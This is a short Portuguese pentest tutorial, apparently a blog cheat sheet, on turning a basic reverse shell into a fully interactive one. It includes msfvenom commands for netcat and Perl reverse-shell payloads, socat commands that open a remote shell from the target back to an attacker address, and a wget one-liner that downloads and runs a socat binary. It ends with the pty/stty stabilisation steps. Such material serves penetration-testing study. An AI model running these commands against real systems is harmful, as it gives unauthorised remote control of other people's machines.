Post

Upgrading Shells

Upgrading Shells

🖥️ Programas com Shells comuns

📌 Descrição:
Quando pegamos uma Reverse Shell simples, nem todos os recursos ficam liberados e disponíveis. Isto faz com que os demais processos relacionados ao Pentest demorem mais. Alguns dos recursos limitados são:

  • STDERR não é mostrado
  • Não é possível usar VIM
  • Comandos como su ou ssh não são acessíveis
  • Sem controle sobre histórico, tab-complete, etc

📂 Gerando uma Reverse Shell com msfvenom

Gerando reverse com Netcat

1
msfvenom -p cmd/unix/reverse_netcat LHOST=10.0.3.4 LPORT=4444 R

Gerando reverse com Perl

1
msfvenom -p cmd/unix/reverse_perl LHOST=10.0.3.4 LPORT=4444 R

🐚 Upgrading Shell

Upgrading Shell com Python

1
python -c 'import pty; pty.spawn("/bin/bash")'

Upgrading Shell com Socat

Na máquina Kali:

1
socat file:`tty`,raw,echo=0 tcp-listen:4444

Na máquina alvo:

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Se o socat não estiver instalado, podemos tentar executar o upgrade enquanto baixamos o socat pelo github

1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Upgrading Shell com Netcat/Magic

Comaçamos chamando um PTY como no primeiro comando, mas deixamos ele em segundo plano usando o CTRL+Z

1
python -c 'import pty; pty.spawn("/bin/bash")'

Agora, vamos visualizar as configurações atuais do STTY para que consigamos deixar ambos estejam equivalentes

1
2
echo $TERM
stty -a

Enquanto o STTY ainda está em background, vamos definir a STTY atual para raw

1
stty raw -echo

agora execute os dois comandos

1
2
fg
reset

por final, fazendo o STTY que voltou com o fg equivaler ao STTY do Kali

1
2
3
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116

Em resumo:

1
2
3
4
5
6
7
8
9
10
11
12
13
# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
stty raw -echo
fg

# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
Esta postagem está licenciada sob CC BY 4.0 pelo autor.